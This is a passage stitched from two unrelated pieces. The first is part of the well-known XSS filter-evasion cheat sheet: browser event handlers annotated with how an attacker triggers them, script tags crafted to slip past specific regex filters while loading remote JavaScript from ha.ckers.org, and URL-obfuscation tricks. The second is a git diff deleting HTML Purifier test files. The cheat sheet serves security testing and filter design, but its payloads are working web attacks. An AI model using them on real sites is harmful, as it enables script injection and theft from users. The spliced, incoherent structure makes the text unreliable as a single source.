browser - attacker cannot unload windows unless it was spawned from the parent) - --onBegin() (fires immediately when the element's timeline begins) - --onBlur() (in the case where another popup is loaded and window loses focus) - --onBounce() (fires when the behavior property of the marquee object is set to "alternate" and the contents of the marquee reach one side of the window) - --onCellChange() (fires when data changes in the data provider) - --onChange() (fires when select, text, or TEXTAREA field loses focus and its value has been modified) - --onClick() (fires when someone clicks on a form) - --onContextMenu() (user would need to right click on attack area) - --onControlSelect() (fires when the user is about to make a control selection of the object) - --onCopy() (user needs to copy something or it can be exploited using the execCommand("Copy") command) - --onCut() (user needs to copy something or it can be exploited using the execCommand("Cut") command) - --onDataAvailible() (user would need to change data in an element, or attacker could perform the same function) - --onDataSetChanged() (fires when the data set exposed by a data source object changes) - --onDataSetComplete() (fires to indicate that all data is available from the data source object) - --onDblClick() (fires when user double-clicks a form element or a link) - --onDeactivate() (fires when the activeElement is changed from the current object to another object in the parent document) - --onDrag() (requires that the user drags an object) - --onDragEnd() (requires that the user drags an object) - --onDragLeave() (requires that the user drags an object off a valid location) - --onDragEnter() (requires that the user drags an object into a valid location) - --onDragOver() (requires that the user drags an object into a valid location) - --onDragDrop() (user drops an object (e.g. file) onto the browser window) - --onDrop() (fires when user drops an object (e.g. file) onto the browser window) - - - - Browser support: - - - Event Handlers List 2 - See Below - - -onEnd() (fires when the timeline ends. This can be exploited, like most of the HTML+TIME event handlers by doing something like <P STYLE="behavior:url('#default#time2')" onEnd="alert('XSS')">) - --onError() (loading of a document or image causes an error) - --onErrorUpdate() (fires on a databound object when an error occurs while updating the associated data in the data source object) - --onFilterChange() (fires when a visual filter completes state change) - --onFinish() (attacker could create the exploit when marquee is finished looping) - --onFocus() (attacker executes the attack string when the window gets focus) - --onFocusIn() (attacker executes the attack string when window gets focus) - --onFocusOut() (attacker executes the attack string when window loses focus) - --onHelp() (attacker executes the attack string when users hits F1 while the window is in focus) - --onKeyDown() (fires when user depresses a key) - --onKeyPress() (fires when user presses or holds down a key) - --onKeyUp() (fires when user releases a key) - --onLayoutComplete() (user would have to print or print preview) - --onLoad() (attacker executes the attack string after the window loads) - --onLoseCapture() (can be exploited by the releaseCapture() method) - --onMediaComplete() (when a streaming media file is used, this event could fire before the file starts playing) - --onMediaError() (User opens a page in the browser that contains a media file, and the event fires when there is a problem) - --onMouseDown() (the attacker would need to get the user to click on an image) - --onMouseEnter() (fires when cursor moves over an object or area) - --onMouseLeave() (the attacker would need to get the user to mouse over an image or table and then off again) - --onMouseMove() (the attacker would need to get the user to mouse over an image or table) - --onMouseOut() (the attacker would need to get the user to mouse over an image or table and then off again) - --onMouseOver() (fires when cursor moves over an object or area) - --onMouseUp() (the attacker would need to get the user to click on an image) - --onMouseWheel() (the attacker would need to get the user to use their mouse wheel) - --onMove() (user or attacker would move the page) - --onMoveEnd() (user or attacker would move the page) - --onMoveStart() (user or attacker would move the page) - --onOutOfSync() (interrupt the element's ability to play its media as defined by the timeline) - --onPaste() (user would need to paste or attacker could use the execCommand("Paste") function) - --onPause() (fires on every element that is active when the timeline pauses, including the body element) - --onProgress() (attacker would use this as a flash movie was loading) - --onPropertyChange() (user or attacker would need to change an element property) - --onReadyStateChange() (user or attacker would need to change an element property) - - - - Browser support: - - - Event Handlers List 3 - See Below - -onRepeat() (fires once for each repetition of the timeline, excluding the first full cycle) - --onReset() (fires when user or attacker resets a form) - --onResize() (user would resize the window; attacker could auto initialize with something like: <SCRIPT>self.resizeTo(500,400);</SCRIPT>) - --onResizeEnd() (user would resize the window; attacker could auto initialize with something like: <SCRIPT>self.resizeTo(500,400);</SCRIPT>) - --onResizeStart() (user would resize the window; attacker could auto initialize with something like: <SCRIPT>self.resizeTo(500,400);</SCRIPT>) - --onResume() (fires on every element that becomes active when the timeline resumes, including the body element) - --onReverse() (if the element has a repeatCount greater than one, this event fires every time the timeline begins to play backward) - --onRowEnter() (user or attacker would need to change a row in a data source) - --onRowExit() (user or attacker would need to change a row in a data source) - --onRowDelete() (user or attacker would need to delete a row in a data source) - --onRowInserted() (user or attacker would need to insert a row in a data source) - --onScroll() (user would need to scroll, or attacker could use the scrollBy() function) - --onSeek() (fires when the timeline is set to play in any direction other than forward) - --onSelect() (user needs to select some text - attacker could auto initialize with something like: window.document.execCommand("SelectAll");) - --onSelectionChange() (user needs to select some text - attacker could auto initialize with something like: window.document.execCommand("SelectAll");) - --onSelectStart() (user needs to select some text - attacker could auto initialize with something like: window.document.execCommand("SelectAll");) - --onStart() (fires at the beginning of each marquee loop) - --onStop() (user would need to press the stop button or leave the webpage) - --onSynchRestored() (user interrupts the element's ability to play its media as defined by the timeline to fire) - --onSubmit() (requires attacker or user submits a form) - --onTimeError() (fires when user or attacker sets a time property, such as "dur", to an invalid value) - --onTrackChange() (fires when user or attacker changes track in a playList) - --onUnload() (fires when the user clicks any link or presses the back button or attacker forces a click) - --onURLFlip() (fires when an Advanced Streaming Format (ASF) file, played by a HTML+TIME (Timed Interactive Multimedia Extensions) media tag, processes script commands embedded in the ASF file) - --seekSegmentTime() (locates the specified point on the element's segment time line and begins playing from that point. The segment consists of one repetition of the time line including reverse play using the AUTOREVERSE attribute.) - - - - Browser support: - - - Evade Regex Filter 1 - <SCRIPT a=">" SRC="http://ha.ckers.org/xss.js"></SCRIPT> - - For performing XSS on sites that allow "<SCRIPT>" but don't allow "<SCRIPT SRC..." by way of the following regex filter: - /<script[^>]+src/i - - Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="s">O8.54</span>] - - - - Evade Regex Filter 2 - <SCRIPT ="blah" SRC="http://ha.ckers.org/xss.js"></SCRIPT> - For performing XSS on sites that allow "<SCRIPT>" but don't allow "<SCRIPT SRC..." by way of a regex filter: - /<script((\s+\w+(\s*=\s*(?:"(.)*?"|'(.)*?'|[^'">\s]+))?)+\s*|\s*)src/i - -(this is an important one, because I've seen this regex in the wild) - - - Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="s">O8.54</span>] - - - - Evade Regex Filter 3 - <SCRIPT a="blah" '' SRC="http://ha.ckers.org/xss.js"></SCRIPT> - Another XSS to evade this regex filter: - /<script((\s+\w+(\s*=\s*(?:"(.)*?"|'(.)*?'|[^'">\s]+))?)+\s*|\s*)src/i - - - Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="s">O8.54</span>] - - - - Evade Regex Filter 4 - <SCRIPT "a='>'" SRC="http://ha.ckers.org/xss.js"></SCRIPT> - Yet another XSS to evade the same filter: - /<script((\s+\w+(\s*=\s*(?:"(.)*?"|'(.)*?'|[^'">\s]+))?)+\s*|\s*)src/i -The only thing I've seen work against this XSS attack if you still want to allow <SCRIPT> tags but not remote scripts is a state machine (and of course there are other ways to get around this if they allow <SCRIPT> tags) - - - Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="s">O8.54</span>] - - - - Evade Regex Filter 5 - <SCRIPT a=`>` SRC="http://ha.ckers.org/xss.js"></SCRIPT> - And one last XSS attack (using grave accents) to evade this regex: - /<script((\s+\w+(\s*=\s*(?:"(.)*?"|'(.)*?'|[^'">\s]+))?)+\s*|\s*)src/i - - - Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="ns">O8.54</span>] - - - - Filter Evasion 1 - <SCRIPT>document.write("<SCRI");</SCRIPT>PT SRC="http://ha.ckers.org/xss.js"></SCRIPT> - - This XSS still worries me, as it would be nearly impossible to stop this without blocking all active content. - - Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="s">O8.54</span>] - - - - Filter Evasion 2 - <SCRIPT a=">'>" SRC="http://ha.ckers.org/xss.js"></SCRIPT> - Here's an XSS example that bets on the fact that the regex won't catch a matching pair of quotes but will rather find any quotes to terminate a parameter string improperly. - - - Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="s">O8.54</span>] - - - - IP Encoding - <A HREF="http://66.102.7.147/">XSS</A> - URL string evasion (assuming "http://www.google.com/" is programmatically disallowed). - - - Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="s">O8.54</span>] - - - - URL Encoding - <A HREF="http://%77%77%77%2E%67%6F%6F%67%6C%65%2E%63%6F%6D">XSS</A> - URL string evasion (assuming "http://www.google.com/" is programmatically disallowed). - - - Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="s">O8.54</span>] - - - - Dword Encoding - <A HREF="http://1113982867/">XSS</A> - URL string evasion (assuming "http://www.google.com/" is programmatically disallowed). - - - Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="s">O8.54</span>] - - - - Hex Encoding - <A HREF="http://0x42.0x0000066.0x7.0x93/">XSS</A> - URL string evasion (assuming "http://www.google.com/" is programmatically disallowed). -The total size of each number allowed is somewhere in the neighborhood of 240 total characters as you can see on the second digit, and since the hex number is between 0 and F the leading zero on the third hex digit is not required. - - - Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="s">O8.54</span>] - - - - Octal Encoding - <A HREF="http://0102.0146.0007.00000223/">XSS</A> - URL string evasion (assuming "http://www.google.com/" is programmatically disallowed). -Padding is allowed, although you must keep it above 4 total characters per class - as in class A, class B, etc... - - - Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="s">O8.54</span>] - - - - Mixed Encoding - <A HREF="h tt p://6&#09;6.000146.0x7.147/">XSS</A> - URL string evasion (assuming "http://www.google.com/" is programmatically disallowed). -The tabs and newlines only work if this is encapsulated with quotes. - - - Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="s">O8.54</span>] - - - - Protocol Resolution Bypass - <A HREF="//www.google.com/">XSS</A> - URL string evasion (assuming "http://www.google.com/" is programmatically disallowed). -Protocol resolution bypass (// translates to http:// which saves a few more bytes). This is really handy when space is an issue too (two less characters can go a long way) and can easily bypass regex like "(ht|f)tp(s)?://" (thanks to Ozh (http://planetOzh.com/) for part of this one). You can also change the "//" to "\\". You do need to keep the slashes in place, however, otherwise this will be interpreted as a relative path URL. - - - Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="s">O8.54</span>] - - - - Firefox Lookups 1 - <A HREF="//google">XSS</A> - Firefox uses Google's "feeling lucky" function to redirect the user to any keywords you type in. So if your exploitable page is the top for some random keyword (as you see here) you can use that feature against any Firefox user. This uses Firefox's "keyword:" protocol. You can concatenate several keywords by using something like the following "keyword:XSS+RSnake" - - - Browser support: [<span class="ns">IE6.0</span>|<span class="ns">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="ns">O8.54</span>] - - - - Firefox Lookups 2 - <A HREF="http://ha.ckers.org@google">XSS</A> - This uses a very tiny trick that appears to work Firefox only, because if it's implementation of the "feeling lucky" function. Unlike the next one this does not work in Opera because Opera believes that this is the old HTTP Basic Auth phishing attack, which it is not. It's simply a malformed URL. If you click okay on the dialogue it will work, but as a result of the erroneous dialogue box I am saying that this is not supported in Opera. - - - Browser support: [<span class="ns">IE6.0</span>|<span class="ns">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="ns">O8.54</span>] - - - - Firefox Lookups 3 - <A HREF="http://google:ha.ckers.org">XSS</A> - This uses a malformed URL that appears to work in Firefox and Opera only, because if their implementation of the "feeling lucky" function. Like all of the above it requires that you are #1 in Google for the keyword in question (in this case "google"). - - - Browser support: [<span class="ns">IE6.0</span>|<span class="ns">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="s">O8.54</span>] - - - - Removing Cnames - <A HREF="http://google.com/">XSS</A> - URL string evasion (assuming "http://www.google.com/" is programmatically disallowed). -When combined with the above URL, removing "www." will save an additional 4 bytes for a total byte savings of 9 for servers that have this set up properly. - - - Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="s">O8.54</span>] - - - - Extra dot for Absolute DNS - <A HREF="http://www.google.com./">XSS</A> - URL string evasion (assuming "http://www.google.com/" is programmatically disallowed). - - - Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="s">O8.54</span>] - - - - JavaScript Link Location - <A HREF="javascript:document.location='http://www.google.com/'">XSS</A> - URL string evasion (assuming "http://www.google.com/" is programmatically disallowed) -JavaScript link location - - - Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="s">O8.54</span>] - - - - Content Replace - <A HREF="http://www.gohttp://www.google.com/ogle.com/">XSS</A> - Content replace as an attack vector (assuming "http://www.google.com/" is programmatically replaced with null). I actually used a similar attack vector against a several separate real world XSS filters by using the conversion filter itself (like http://quickwired.com/kallahar/smallprojects/php_xss_filter_function.php) to help create the attack vector ("java&#x26;#x09;script:" was converted into "java&#x09;script:". - - - Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="s">O8.54</span>] - - - diff --git a/classes/security/htmlpurifier/test-settings.sample.php b/classes/security/htmlpurifier/test-settings.sample.php deleted file mode 100644 index 886b97486..000000000 --- a/classes/security/htmlpurifier/test-settings.sample.php +++ /dev/null @@ -1,76 +0,0 @@ -_command = $command; - $this->_quiet = $quiet; - $this->_size = $size; - } - public function getLabel() { - return $this->_command; - } - public function run($reporter) { - if (!$this->_quiet) $reporter->paintFormattedMessage('Running ['.$this->_command.']'); - return $this->_invokeCommand($this->_command, $reporter); - } - public function _invokeCommand($command, $reporter) { - $xml = shell_exec($command); - if (! $xml) { - if (!$this->_quiet) { - $reporter->paintFail('Command did not have any output [' . $command . ']'); - } - return false; - } - $parser = $this->_createParser($reporter); - - set_error_handler(array($this, '_errorHandler')); - $status = $parser->parse($xml); - restore_error_handler(); - - if (! $status) { - if (!$this->_quiet) { - foreach ($this->_errors as $error) { - list($no, $str, $file, $line) = $error; - $reporter->paintFail("Error $no: $str on line $line of $file"); - } - if (strlen($xml) > 120) { - $msg = substr($xml, 0, 50) . "...\n\n[snip]\n\n..." . substr($xml, -50); - } else { - $msg = $xml; - } - $reporter->paintFail("Command produced malformed XML"); - $reporter->paintFormattedMessage($msg); - } - return false; - } - return true; - } - public function _createParser($reporter) { - $parser = new SimpleTestXmlParser($reporter); - return $parser; - } - public function getSize() { - // This code properly does the dry run and allows for proper test - // case reporting but it's REALLY slow, so I don't recommend it. - if ($this->_size === false) { - $reporter = new SimpleReporter(); - $this->_invokeCommand($this->_command . ' --dry', $reporter); - $this->_size = $reporter->getTestCaseCount(); - } - return $this->_size; - } - public function _errorHandler($a, $b, $c, $d) { - $this->_errors[] = array($a, $b, $c, $d); // see set_error_handler() - } -} - -// vim: et sw=4 sts=4 diff --git a/classes/security/htmlpurifier/tests/Debugger.php b/classes/security/htmlpurifier/tests/Debugger.php deleted file mode 100644 index 45e107f44..000000000 --- a/classes/security/htmlpurifier/tests/Debugger.php +++ /dev/null @@ -1,147 +0,0 @@ -paint($mixed); -} -function paintIf($mixed, $conditional) { - $Debugger =& Debugger::instance(); - return $Debugger->paintIf($mixed, $conditional); -} -function paintWhen($mixed, $scopes = array()) { - $Debugger =& Debugger::instance(); - return $Debugger->paintWhen($mixed, $scopes); -} -function paintIfWhen($mixed, $conditional, $scopes = array()) { - $Debugger =& Debugger::instance(); - return $Debugger->paintIfWhen($mixed, $conditional, $scopes); -} -function addScope($id = false) { - $Debugger =& Debugger::instance(); - return $Debugger->addScope($id); -} -function removeScope($id) { - $Debugger =& Debugger::instance(); - return $Debugger->removeScope($id); -} -function resetScopes() { - $Debugger =& Debugger::instance(); - return $Debugger->resetScopes(); -} -function isInScopes($array = array()) { - $Debugger =& Debugger::instance(); - return $Debugger->isInScopes($array); -} -/**#@-*/ - - -/** - * The debugging singleton. Most interesting stuff happens here. - */ -class Debugger -{ - - public $shouldPaint = false; - public $paints = 0; - public $current_scopes = array(); - public $scope_nextID = 1; - public $add_pre = true; - - public function Debugger() { - $this->add_pre = !extension_loaded('xdebug'); - } - - public static function &instance() { - static $soleInstance = false; - if (!$soleInstance) $soleInstance = new Debugger(); - return $soleInstance; - } - - public function paintIf($mixed, $conditional) { - if (!$conditional) return; - $this->paint($mixed); - } - - public function paintWhen($mixed, $scopes = array()) { - if (!$this->isInScopes($scopes)) return; - $this->paint($mixed); - } - - public function paintIfWhen($mixed, $conditional, $scopes = array()) { - if (!$conditional) return; - if (!$this->isInScopes($scopes)) return; - $this->paint($mixed); - } - - public function paint($mixed) { - $this->paints++; - if($this->add_pre) echo '
    ';
    -        var_dump($mixed);
    -        if($this->add_pre) echo '
    '; - } - - public function addScope($id = false) { - if ($id == false) { - $id = $this->scope_nextID++; - } - $this->current_scopes[$id] = true; - } - - public function removeScope($id) { - if (isset($this->current_scopes[$id])) unset($this->current_scopes[$id]); - } - - public function resetScopes() { - $this->current_scopes = array(); - $this->scope_nextID = 1; - } - - public function isInScopes($scopes = array()) { - if (empty($this->current_scopes)) { - return false; - } - if (!is_array($scopes)) { - $scopes = array($scopes); - } - foreach ($scopes as $scope_id) { - if (empty($this->current_scopes[$scope_id])) { - return false; - } - } - if (empty($scopes)) { - if ($this->scope_nextID == 1) { - return false; - } - for($i = 1; $i < $this->scope_nextID; $i++) { - if (empty($this->current_scopes[$i])) { - return false; - } - } - } - return true; - } - -} - -// vim: et sw=4 sts=4 diff --git a/classes/security/htmlpurifier/tests/FSTools/FileSystemHarness.php b/classes/security/htmlpurifier/tests/FSTools/FileSystemHarness.php deleted file mode 100644 index 710196e4f..000000000 --- a/classes/security/htmlpurifier/tests/FSTools/FileSystemHarness.php +++ /dev/null @@ -1,36 +0,0 @@ -dir = 'tmp/' . md5(uniqid(rand(), true)) . '/'; - mkdir($this->dir); - $this->oldDir = getcwd(); - - } - - function __destruct() { - FSTools::singleton()->rmdirr($this->dir); - } - - function setup() { - chdir($this->dir); - } - - function tearDown() { - chdir($this->oldDir); - } - -} - -// vim: et sw=4 sts=4 diff --git a/classes/security/htmlpurifier/tests/FSTools/FileTest.php b/classes/security/htmlpurifier/tests/FSTools/FileTest.php deleted file mode 100644 index e9b703a2d..000000000 --- a/classes/security/htmlpurifier/tests/FSTools/FileTest.php +++ /dev/null @@ -1,46 +0,0 @@ -assertFalse($file->exists()); - $file->write('foobar'); - $this->assertTrue($file->exists()); - $this->assertEqual($file->get(), 'foobar'); - $file->delete(); - $this->assertFalse($file->exists()); - } - - function testGetNonExistent() { - $name = 'notfound.txt'; - $file = new FSTools_File($name); - $this->expectError(); - $this->assertFalse($file->get()); - } - - function testHandle() { - $file = new FSTools_File('foo.txt'); - $this->assertFalse($file->exists()); - $file->open('w'); - $this->assertTrue($file->exists()); - $file->put('Foobar'); - $file->close(); - $file->open('r'); - $this->assertIdentical('F', $file->getChar()); - $this->assertFalse($file->eof()); - $this->assertIdentical('oo', $file->read(2)); - $this->assertIdentical('bar', $file->getLine()); - $this->assertTrue($file->eof()); - } - -} - -// vim: et sw=4 sts=4 diff --git a/classes/security/htmlpurifier/tests/HTMLPurifier/AttrCollectionsTest.php b/classes/security/htmlpurifier/tests/HTMLPurifier/AttrCollectionsTest.php deleted file mode 100644 index 227bc9535..000000000 --- a/classes/security/htmlpurifier/tests/HTMLPurifier/AttrCollectionsTest.php +++ /dev/null @@ -1,134 +0,0 @@ -attr_collections = array( - 'Core' => array( - 0 => array('Soup', 'Undefined'), - 'attribute' => 'Type', - 'attribute-2' => 'Type2', - ), - 'Soup' => array( - 'attribute-3' => 'Type3-old' // overwritten - ) - ); - - $modules['Module2'] = new HTMLPurifier_HTMLModule(); - $modules['Module2']->attr_collections = array( - 'Core' => array( - 0 => array('Brocolli') - ), - 'Soup' => array( - 'attribute-3' => 'Type3' - ), - 'Brocolli' => array() - ); - - $collections->__construct($types, $modules); - // this is without identifier expansion or inclusions - $this->assertIdentical( - $collections->info, - array( - 'Core' => array( - 0 => array('Soup', 'Undefined', 'Brocolli'), - 'attribute' => 'Type', - 'attribute-2' => 'Type2' - ), - 'Soup' => array( - 'attribute-3' => 'Type3' - ), - 'Brocolli' => array() - ) - ); - - } - - function test_performInclusions() { - - generate_mock_once('HTMLPurifier_AttrTypes'); - - $types = new HTMLPurifier_AttrTypesMock(); - $collections = new HTMLPurifier_AttrCollections($types, array()); - $collections->info = array( - 'Core' => array(0 => array('Inclusion', 'Undefined'), 'attr-original' => 'Type'), - 'Inclusion' => array(0 => array('SubInclusion'), 'attr' => 'Type'), - 'SubInclusion' => array('attr2' => 'Type') - ); - - $collections->performInclusions($collections->info['Core']); - $this->assertIdentical( - $collections->info['Core'], - array( - 'attr-original' => 'Type', - 'attr' => 'Type', - 'attr2' => 'Type' - ) - ); - - // test recursive - $collections->info = array( - 'One' => array(0 => array('Two'), 'one' => 'Type'), - 'Two' => array(0 => array('One'), 'two' => 'Type') - ); - $collections->performInclusions($collections->info['One']); - $this->assertIdentical( - $collections->info['One'], - array( - 'one' => 'Type', - 'two' => 'Type' - ) - ); - - } - - function test_expandIdentifiers() { - - generate_mock_once('HTMLPurifier_AttrTypes'); - - $types = new HTMLPurifier_AttrTypesMock(); - $collections = new HTMLPurifier_AttrCollections($types, array()); - - $attr = array( - 'attr1' => 'Color', - 'attr2*' => 'URI' - ); - $c_object = new HTMLPurifier_AttrDef_HTML_Color(); - $u_object = new HTMLPurifier_AttrDef_URI(); - - $types->setReturnValue('get', $c_object, array('Color')); - $types->setReturnValue('get', $u_object, array('URI')); - - $collections->expandIdentifiers($attr, $types); - - $u_object->required = true; - $this->assertIdentical( - $attr, - array( - 'attr1' => $c_object, - 'attr2' => $u_object - ) - ); - - } - -} - -// vim: et sw=4 sts=4 diff --git a/classes/security/htmlpurifier/tests/HTMLPurifier/AttrDef/CSS/AlphaValueTest.php b/classes/security/htmlpurifier/tests/HTMLPurifier/AttrDef/CSS/AlphaValueTest.php deleted file mode 100644 index 56efa306f..000000000 --- a/classes/security/htmlpurifier/tests/HTMLPurifier/AttrDef/CSS/AlphaValueTest.php +++ /dev/null @@ -1,28 +0,0 @@ -def = new HTMLPurifier_AttrDef_CSS_AlphaValue(); - - $this->assertDef('0'); - $this->assertDef('1'); - $this->assertDef('.2'); - - // clamping to [0.0, 1,0] - $this->assertDef('1.2', '1'); - $this->assertDef('-3', '0'); - - $this->assertDef('0.0', '0'); - $this->assertDef('1.0', '1'); - $this->assertDef('000', '0'); - - $this->assertDef('asdf', false); - - } - -} - -// vim: et sw=4 sts=4 diff --git a/classes/security/htmlpurifier/tests/HTMLPurifier/AttrDef/CSS/BackgroundPositionTest.php b/classes/security/htmlpurifier/tests/HTMLPurifier/AttrDef/CSS/BackgroundPositionTest.php deleted file mode 100644 index a216b2677..000000000 --- a/classes/security/htmlpurifier/tests/HTMLPurifier/AttrDef/CSS/BackgroundPositionTest.php +++ /dev/null @@ -1,68 +0,0 @@ -def = new HTMLPurifier_AttrDef_CSS_BackgroundPosition(); - - // explicitly cited in spec - $this->assertDef('0% 0%'); - $this->assertDef('100% 100%'); - $this->assertDef('14% 84%'); - $this->assertDef('2cm 1cm'); - $this->assertDef('top'); - $this->assertDef('left'); - $this->assertDef('center'); - $this->assertDef('right'); - $this->assertDef('bottom'); - $this->assertDef('left top'); - $this->assertDef('center top'); - $this->assertDef('right top'); - $this->assertDef('left center'); - $this->assertDef('right center'); - $this->assertDef('left bottom'); - $this->assertDef('center bottom'); - $this->assertDef('right bottom'); - - // reordered due to internal impl details - $this->assertDef('top left', 'left top'); - $this->assertDef('top center', 'top'); - $this->assertDef('top right', 'right top'); - $this->assertDef('center left', 'left'); - $this->assertDef('center center', 'center'); - $this->assertDef('center right', 'right'); - $this->assertDef('bottom left', 'left bottom'); - $this->assertDef('bottom center', 'bottom'); - $this->assertDef('bottom right', 'right bottom'); - - // more cases from the defined syntax - $this->assertDef('1.32in 4ex'); - $this->assertDef('-14% -84.65%'); - $this->assertDef('-1in -4ex'); - $this->assertDef('-1pc 2.3%'); - - // keyword mixing - $this->assertDef('3em top'); - $this->assertDef('left 50%'); - - // fixable keyword mixing - $this->assertDef('top 3em', '3em top'); - $this->assertDef('50% left', 'left 50%'); - - // whitespace collapsing - $this->assertDef('3em top', '3em top'); - $this->assertDef("left\n \t foo ", 'left'); - - // invalid uses (we're going to be strict on these) - $this->assertDef('foo bar', false); - $this->assertDef('left left', 'left'); - $this->assertDef('left right top bottom center left', 'left bottom'); - $this->assertDef('0fr 9%', '9%'); - - } - -} - -// vim: et sw=4 sts=4 diff --git a/classes/security/htmlpurifier/tests/HTMLPurifier/AttrDef/CSS/BackgroundTest.php b/classes/security/htmlpurifier/tests/HTMLPurifier/AttrDef/CSS/BackgroundTest.php deleted file mode 100644 index 83461c365..000000000 --- a/classes/security/htmlpurifier/tests/HTMLPurifier/AttrDef/CSS/BackgroundTest.php +++ /dev/null @@ -1,23 +0,0 @@ -def = new HTMLPurifier_AttrDef_CSS_Background($config); - - $valid = '#333 url("chess.png") repeat fixed 50% top'; - $this->assertDef($valid); - $this->assertDef('url(\'chess.png\') #333 50% top repeat fixed', $valid); - $this->assertDef( - 'rgb(34, 56, 33) url(chess.png) repeat fixed top', - 'rgb(34,56,33) url("chess.png") repeat fixed top' - ); - - } - -} - -// vim: et sw=4 sts=4 diff --git a/classes/security/htmlpurifier/tests/HTMLPurifier/AttrDef/CSS/BorderTest.php b/classes/security/htmlpurifier/tests/HTMLPurifier/AttrDef/CSS/BorderTest.php deleted file mode 100644 index 6cd77fd7a..000000000 --- a/classes/security/htmlpurifier/tests/HTMLPurifier/AttrDef/CSS/BorderTest.php +++ /dev/null @@ -1,21 +0,0 @@ -def = new HTMLPurifier_AttrDef_CSS_Border($config); - - $this->assertDef('thick solid red', 'thick solid #FF0000'); - $this->assertDef('thick solid'); - $this->assertDef('solid red', 'solid #FF0000'); - $this->assertDef('1px solid #000'); - $this->assertDef('1px solid rgb(0, 0, 0)', '1px solid rgb(0,0,0)'); - - } - -} - -// vim: et sw=4 sts=4 diff --git a/classes/security/htmlpurifier/tests/HTMLPurifier/AttrDef/CSS/ColorTest.php b/classes/security/htmlpurifier/tests/HTMLPurifier/AttrDef/CSS/ColorTest.php deleted file mode 100644 index f3a74e897..000000000 --- a/classes/security/htmlpurifier/tests/HTMLPurifier/AttrDef/CSS/ColorTest.php +++ /dev/null @@ -1,41 +0,0 @@ -def = new HTMLPurifier_AttrDef_CSS_Color(); - - $this->assertDef('#F00'); - $this->assertDef('#fff'); - $this->assertDef('#eeeeee'); - $this->assertDef('#808080'); - $this->assertDef('rgb(255, 0, 0)', 'rgb(255,0,0)'); // rm spaces - $this->assertDef('rgb(100%,0%,0%)'); - $this->assertDef('rgb(50.5%,23.2%,43.9%)'); // decimals okay - - $this->assertDef('#G00', false); - $this->assertDef('cmyk(40, 23, 43, 23)', false); - $this->assertDef('rgb(0%, 23, 68%)', false); - - // clip numbers outside sRGB gamut - $this->assertDef('rgb(200%, -10%, 0%)', 'rgb(100%,0%,0%)'); - $this->assertDef('rgb(256,-23,34)', 'rgb(255,0,34)'); - - // color keywords, of course - $this->assertDef('red', '#FF0000'); - - // malformed hex declaration - $this->assertDef('808080', '#808080'); - $this->assertDef('000000', '#000000'); - $this->assertDef('fed', '#fed'); - - // maybe hex transformations would be another nice feature - // at the very least transform rgb percent to rgb integer - - } - -} - -// vim: et sw=4 sts=4 diff --git a/classes/security/htmlpurifier/tests/HTMLPurifier/AttrDef/CSS/CompositeTest.php b/classes/security/htmlpurifier/tests/HTMLPurifier/AttrDef/CSS/CompositeTest.php deleted file mode 100644 index 44bef5551..000000000 --- a/classes/security/htmlpurifier/tests/HTMLPurifier/AttrDef/CSS/CompositeTest.php +++ /dev/null @@ -1,81 +0,0 @@ -defs =& $defs; - } - -} - -class HTMLPurifier_AttrDef_CSS_CompositeTest extends HTMLPurifier_AttrDefHarness -{ - - protected $def1, $def2; - - function test() { - - generate_mock_once('HTMLPurifier_AttrDef'); - - $config = HTMLPurifier_Config::createDefault(); - $context = new HTMLPurifier_Context(); - - // first test: value properly validates on first definition - // so second def is never called - - $def1 = new HTMLPurifier_AttrDefMock(); - $def2 = new HTMLPurifier_AttrDefMock(); - $defs = array(&$def1, &$def2); - $def = new HTMLPurifier_AttrDef_CSS_Composite_Testable($defs); - $input = 'FOOBAR'; - $output = 'foobar'; - $def1_params = array($input, $config, $context); - $def1->expectOnce('validate', $def1_params); - $def1->setReturnValue('validate', $output, $def1_params); - 